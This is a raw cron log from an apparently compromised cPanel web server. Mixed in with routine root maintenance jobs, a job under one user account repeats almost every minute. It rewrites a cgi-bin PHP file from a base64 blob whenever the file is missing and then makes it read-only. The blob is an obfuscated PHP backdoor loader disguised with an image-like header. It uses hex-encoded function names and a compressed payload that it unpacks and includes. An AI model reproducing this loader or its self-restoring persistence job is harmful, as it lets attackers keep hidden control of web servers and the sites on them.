Nov 10 23:41:01 server CROND[3942]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:42:01 server CROND[4713]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 23:42:01 server CROND[4714]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:43:01 server CROND[5592]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:44:01 server CROND[6409]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:45:01 server CROND[7312]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 23:45:01 server CROND[7313]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 23:45:01 server CROND[7314]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:46:01 server CROND[8187]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:47:01 server CROND[9170]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:48:02 server CROND[9981]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:49:01 server CROND[10790]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:50:01 server CROND[11755]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 23:50:01 server CROND[11756]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 23:50:01 server CROND[11757]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:50:01 server CROND[11758]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 23:50:01 server CROND[11759]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 23:51:01 server CROND[12631]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:52:01 server CROND[13434]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:53:01 server CROND[14255]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:53:01 server CROND[14256]: (root) CMD (/usr/lib64/sa/sa2 -A)
